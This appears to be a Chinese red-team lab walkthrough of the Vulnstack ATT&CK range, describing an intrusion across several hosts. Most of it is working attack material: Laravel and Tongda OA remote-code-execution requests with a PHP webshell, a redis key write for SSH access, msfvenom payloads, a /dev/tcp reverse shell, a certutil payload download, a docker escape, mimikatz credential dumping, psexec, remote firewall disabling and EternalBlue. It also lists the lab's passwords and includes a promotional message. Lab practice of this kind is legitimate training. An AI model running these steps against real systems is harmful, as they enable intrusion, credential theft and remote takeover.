所涉及到的知識點:
1、WEB安全-漏洞發現及利用
2、系統安全-權限提升(漏洞&配置&逃逸)
3、內網安全-橫向移動(口令傳遞&系統漏洞)
實戰演練-ATT&CK實戰系列-紅隊評估
環境下載:
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
利用資源:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288
參考WP:
https://www.freebuf.com/articles/network/264560.html
涉及技術:
1.漏洞搜索與利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通達OA v11.3 漏洞利用
5.linux環境變量提權
6.redis 未授權訪問漏洞
7.Linux sudo權限提升(CVE-2021-3156)漏洞利用
8.SSH密鑰利用
9.windows NetLogon 域內權限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用
服務配置
靶場中各個主機都運行著相應的服務并且沒有自啟功能,如果你關閉了靶機,再次啟動時還需要在相
應 的主機上啟動靶機服務:
DMZ區的 Ubuntu 需要啟動Nginx服務:(web1)
1 sudo redis-server /etc/redis.conf
2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
3 sudo iptables -F
第二層網絡的 Ubuntu需要啟動docker容器:(web2)
1 sudo service docker start
2 sudo docker start 8e172820ac78
第三層網絡的 Windows 7 (PC 1)需要啟動通達OA:
1 C:MYOAbinAutoConfig.exe
域用戶信息
域用戶賬戶和密碼如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通達OA賬戶:
admin:admin657260
【一>所有資源關注我,私信回復“資料”獲取<一】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
kali開啟ssh服務
/etc/init.d/ssh start xshell 連接22端口和kali的ip
滲透過程
1.用kali掃描web1的外網端口(這里是46.160,kali是46.158地址)
nmap -T4 -sC -sV 192.168.46.160
2.掃描出該ip地址81端口開放,則判斷出使用的是laravel,以此來進行漏洞利用
81端口:laravel 存在最新漏洞
Python laravel-CVE-2021-3129-EXP.py http://目標地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP 項目地址
3.用哥斯拉工具連接上傳成功的后門,
將有效載荷和加密器改為php的
4.在上線之前先判斷對方的搭建系統,出現這個就代表對方用的是docker來搭建的,那么接下來所要考慮的就是如何來進行docker逃逸。這里我上傳冰蝎的木馬改用冰蝎,是因為個人喜好冰蝎的工具,各位師傅可以上傳其他后門改用蟻劍菜刀連接都可以。
5.這里我們將web權限反彈到msf是不成功的
其一:是因為對放將81端口代理到52.20:8000端口上,這里肯定是連接不通的,因為我們的msf主機和對方的52網段的不出網機子不通
其二:后門的代理沒有走第一層網絡 所以連接不上web2上的主機
6…所以我們入侵該主機并不能造成太大的威脅,借此我們要入侵web1的其他端口(kali掃描全部端口)掃到了6379的端口redis
nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx
7.Ubuntu 1 DMZ滲透 redis未授權判斷如果進入就代表有redis未授權(kali運行)
redis-cli -h 192.168.xx.xxxxx
7.1Redis未授權訪問-ssh密匙 生成公鑰(kali 上執行)
ssh-keygen -t rsa
7.2將公鑰導入1.txt文件
echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > 1.txt
7.3把1.txt文件內容寫入目標主機的redis緩沖中
cat 1.txt | redis-cli -h 192.168.46.160(web主機) -p 6379(redis端口) -x set hello
7.4設置redis的備份路徑為/root/.ssh/
config set dir /root/.ssh
7.5設置保存文件名為authorized_keys
config set dbfilename authorized_keys
7.6將數據保存在目標服務器硬盤上
save
7.7連接web1上的主機
ssh [email protected]
7.8獲取web1的主機
8.因為連接到web1的主機,所以這里生成正向反向的后門都可以,我這里生成的是反向連接的后門
msfvenom -p
linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf
9.在將生成的后門放到剛剛連接到的web1的文件下
10.在用redis未授權訪問的web1下載這個后門
wget
http://192.168.46.160:81/p1.elf
11.在這個后門執行前,kali上要啟用msf的監聽模塊
msfconsole 開啟msf
use exploit/multi/handler 使用監聽模塊
set payload linux/x64/meterpreter/reverse_tcp 設置剛剛生成后門的模塊
set lhost 192.168.46.158 設置ip
set lport 6666 設置端口
exploit 攻擊
12.redis未授權訪問的主機執行后門代碼

13.然后進入到他的主機之后來進行橫向滲透,首先來來利用msf強大的路由功能來獲取其他網段的路由
sessions 1 回到會話中
run get_local_subnets 獲取本地路由
run autoroute -p 查詢本地路由
run
post/multi/manage/autoroute 得到本地路由

14.內網探針來查詢52網段有那些ip地址存活,可能只掃到一個30的地址,其實還可以ping到20的地址
background 返回
use
auxiliary/scanner/discovery/udp_probe 使用掃描模塊
show options 展示選項
set rhosts 192.168.52.1-255 設置主機范圍
set threads 10 設置線程
run 運行

15.在利用環境變量配合SUID本地提權
```find / -user root -perm -4000 -print 2>/dev/null
16.通過對文件反編譯或源代碼查看,覆蓋其執行環境變量,直接讓其執行指定程序獲取權限
cd /home/jobs
./shell
chmod 777 ps
cp /bin/bash /tmp/ps
17.因為環境變量問題所以我們將這個二層網絡的主機反彈到一層網絡主機上面所以在創建一個kali會話連接到第一層的網絡主機上面,設置nc將二層網絡主機的權限反彈到一層主機上面
nc -lvp 1234
18.將web權限反彈到第一層主機上
bash -c 'exec bash -i >&
/dev/tcp/192.168.52.10/1234 0>&1'
19.添加環境變量
export PATH=/tmp:$PATH 添加環境變量
echo $PATH 查看環境變量
20.在來使用shell提升權限
./shell
id 查看權限
21.kali生成正向連接的后門由此來連接
msfvenom -p
linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向連接的后門
22.在將這個后門放到冰蝎連接上的web主機上面
23.在來使用kali的msf監聽這個后門
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set lport 7777
set rhost 192.168.52.20 主機連接對方的ip地址
exploit
- 然后在提權的機器上運行后門發現不成功,這就是涉及到前面所提及到的dokcer(為了確保能木馬能運行,在真實機上運行試驗一下驗證)
25.docker逃逸在那臺提權上的主機上進行逃逸
fdisk -l 查看磁盤文件
ls /dev 查看設備文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello
覆蓋密匙:
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys -avx將權限也一起復制
echo > /hello/home/ubuntu/.ssh/authorized_keys 清空authorized_keys文件
echo '26步驟生成的密鑰' > /hello/home/ubuntu/.ssh/authorized_keys 將ssh秘鑰寫入
26.pc1上覆蓋密鑰(重新建立一個kali的終端)
ssh [email protected] 重新連接kali
cat hello.pub 查看密鑰
ssh-keygen -f hello 生成密鑰
chmod 600 hello 給予權限
ls
cat hello.pub
27.25步驟寫入了密鑰就可以連接52.20的主機(剛剛創建密鑰的主機上連接)
ssh -i hello [email protected]
28.在來運行該木馬
29.然后建立的msf的監聽就能接受到會話
30.然后再來進入到ubuntu的會話中查看路由地址,就能添加到93的主機地址
session 4
run get_local_subnets
run autoroute -p
run post/multi/manage/autoroute
31.現在我們已經拿下了20和10的主機,我們要拿下30的主機,我們要使用nmap來掃描ip地址的服務,雖然我們這臺msf有52網段的ip路由,但是nmap不是msf內置的工具,所以我們可以設置一個代理來使用nmap掃描工具。
32.這里我使用msf自帶的掃描模塊
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit
33.然后在用kali機連接到這個oa系統,前提win7上打開了oa系統,kali的瀏覽器上設置代理,使用burpsuite抓包

34. 這里就是使用通達OA系統的RCE和前臺任意用戶登錄漏洞
34.1先在登錄處抓包

34.2修改在路徑,刪除cookie,添加Uid

34.3然后就會返回這個cookie在來利用這個cookie未授權訪問

34.4用獲取的SESSID訪問/general/

34.5未授權文件上傳 任意文件上傳漏洞 /ispirit/im/upload.php,在來直接使用這個數據包修改ip和端口號就行
POST /ispirit/im/upload.php HTTP/1.1
Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: /
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“UPLOAD_MODE”
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“P”
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“DEST_UID”
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name=“ATTACHMENT”; filename=“jpg”
Content-Type: image/jpeg
<?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
------WebKitFormBoundarypyfBh1YB4pV8McGB–
34.6在來使用文件包含來 命令執行
POST
/ispirit/interface/gateway.php HTTP/1.1
Host: ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type:
application/x-www-form-urlencoded
json={“url”:"/general/…/…/attach/im/圖片路徑"}&cmd=whoami
34.7發現可以命令執行,再來下載一個后門代碼,前提是要生成一個windows后門木馬,將木馬放到web1的目錄上
```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe
34.8再來下載這個木馬,執行我們的上線
certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe
34.9使用木馬前監聽這個后門
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit
34.10 再來使用這個木馬執行上線操作

35.成功之后發現有session5
```background
sessions
sessions 5
37.然后在利用msf自帶的掃描模塊掃描
background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run
38.發現對方開放的ip地址和端口
第一種情況是關閉了防火墻可直接執行上線操作
39.其一:利用ms17010
use auxiliary/scanner/smb/smb_ms17_010 掃描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30 掃描20-30網段
exploit
40.發現有兩臺主機可以利用
41.其二:使用mimikatz來攻擊
sessions
sessions 5
load kiwi 載入mimikatz
42.如果這里提示x32不能執行x64,那就要移植進程
kiwi_cmd sekurlsa::logonpasswords 獲取賬號密碼
43.先執行ps命令獲取一個x64的system權限進程
ps
migrate 4012 移植4012進程
44.再來執行剛剛的命令
kiwi_cmd sekurlsa::logonpasswords 獲取賬號密碼
45.獲取到administartor賬號密碼就來利用msf的psexec模塊
background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 改為正向連接
set rhost 192.168.93.30 設置主機
show options
set smbuser 獲取到的administrator賬號 設置賬號
set smbpass 獲取到的密碼 設置密碼
exploit
46.其三:利用smb的ms17010的psexec的模塊
use exploit/windows/smb/ms17_010_psexec 使用模塊
set payload windows/meterpreter/bind_tcp 設置正向連接
set rhost 192.168.93.40 設置ip
開啟防火墻
47.這就是開啟了防火墻,攻擊能成功但是反彈不了會話
48.首先建立session
sessions 5
49.返回shell終端

50.強制關閉防火墻
net use 192.168.93.30ipc$ “Whoami2021” /user:“Administrator”
sc 192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc 192.168.93.30 start unablefirewall

51.之后就可以繼續攻擊
background
exploit

52.攻擊win7的ms17010的模塊
background
use
exploit/windows/smb/ms17_010_eternalblue
show options
set payload
windows/x64/meterpreter/bind_tcp 改為正向連接
set rhost 192.168.93.40
run
[](https://xzfile.aliyuncs.com/media/upload/picture/20220129170244-390ed014-80e2-1.png)